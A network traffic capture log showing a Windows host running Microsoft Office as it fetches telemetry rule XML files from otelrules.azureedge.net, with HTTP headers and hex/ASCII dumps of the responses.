2024-10-26 11:46:10 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:10 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 3bd815fc-c01e-0066-6070-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114610Z-16849878b786lft2mu9uftf3y4000000035000000000d091 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-26 11:46:10 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.9	49819	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:10 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:10 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:10 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 7d0fe5a3-d01e-0049-4537-26e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114610Z-17c5cb586f64v7xs992vpxwchg0000000220000000001phx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:10 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.9	49818	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:10 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:10 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:10 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 2901062c-201e-0003-4058-26f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114610Z-17c5cb586f66g7mvbfuqdb2m3n0000000230000000004ae9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:10 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.9	49821	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:11 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:11 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:11 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 6796a20d-a01e-00ab-565f-279106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114611Z-17c5cb586f67hfgj2durhqcxk800000000tg000000003bc9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:11 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.9	49820	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:11 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:11 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:11 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: ee736da1-b01e-001e-7be0-260214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114611Z-17c5cb586f66g7mvbfuqdb2m3n0000000230000000004aed x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:11 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.9	49822	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:11 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:11 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:11 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 2f6e7a45-901e-0083-466a-26bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114611Z-16849878b7867ttgfbpnfxt44s00000001yg000000000hma x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:11 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.9	49825	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:11 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:11 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:11 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: ada46982-001e-0014-673d-265151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114611Z-15b8d89586fst84k5f3z220tec0000000hhg00000000739k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:11 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.9	49824	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:11 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:11 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:11 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 92eac08a-601e-0001-29b2-26faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114611Z-16849878b782d4lwcu6h6gmxnw00000001mg00000000awxz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:11 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.9	49826	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:11 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:12 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:12 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: fbe9264b-c01e-0046-04f3-242db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114612Z-r197bdfb6b48pcqqxhenwd2uz800000002mg000000009exx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:12 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.9	49827	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:11 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:12 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:12 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 141f8a5a-601e-000d-3b74-272618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114612Z-16849878b78nx5sne3fztmu6xc00000002yg000000006fxd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:12 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.9	49828	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:12 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:12 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:12 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: dc5d0bf8-001e-008d-6cee-26d91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114612Z-r197bdfb6b48v72xb403uy6hns00000002n00000000000h2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:12 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.9	49829	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:12 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:12 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:12 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 7b68ac53-d01e-0082-7e67-27e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114612Z-16849878b78fmrkt2ukpvh9wh40000000ap00000000042f4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
